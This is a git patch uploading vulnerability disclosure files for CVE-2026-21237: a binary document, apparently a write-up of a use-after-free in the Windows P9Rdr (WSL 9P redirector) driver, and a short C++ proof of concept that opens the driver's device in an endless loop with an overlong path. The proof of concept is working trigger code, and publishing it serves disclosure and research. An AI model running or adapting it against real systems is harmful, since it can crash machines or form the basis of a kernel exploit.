From 6ac6ee85b44c442baa352acc59c975ae0941e9b5 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:52:18 +0000 Subject: [PATCH] Upload files to "CVE-2026-21237" --- CVE-2026-21237/P9Rdr_UAF.docx | Bin 0 -> 12796 bytes CVE-2026-21237/P9rdrTest1.cpp | 52 ++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 CVE-2026-21237/P9Rdr_UAF.docx create mode 100644 CVE-2026-21237/P9rdrTest1.cpp diff --git a/CVE-2026-21237/P9Rdr_UAF.docx b/CVE-2026-21237/P9Rdr_UAF.docx new file mode 100644 index 0000000000000000000000000000000000000000..1dfedd375b0b0f917688502cb843f78ab778ee3a GIT binary patch literal 12796 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 literal 0 HcmV?d00001 diff --git a/CVE-2026-21237/P9rdrTest1.cpp b/CVE-2026-21237/P9rdrTest1.cpp new file mode 100644 index 0000000..e7739c1 --- /dev/null +++ b/CVE-2026-21237/P9rdrTest1.cpp @@ -0,0 +1,52 @@ + + +#include +#include + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + + +HANDLE OpenDevice() { + HANDLE hDevice = NULL; + + UNICODE_STRING usName = { 0 }; + + //PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AA"; + + PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd"; + + + RtlInitUnicodeString(&usName, (PWSTR)lpcwName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0); + + printf("OpenDevice Status=0x%x\t\tlpcwName=%ls\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, lpcwName, hDevice, GetLastError(), IoStatusBlock.Information); + + return hDevice; +} + + +void HostMain() { + + while (1) { + OpenDevice(); + } +} + + +int wmain(int argc, WCHAR* argv[]) +{ + HostMain(); + return 0; +} + +int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PWSTR szCmdLine, int iCmdShow) +{ + return wmain(__argc, __wargv); +} \ No newline at end of file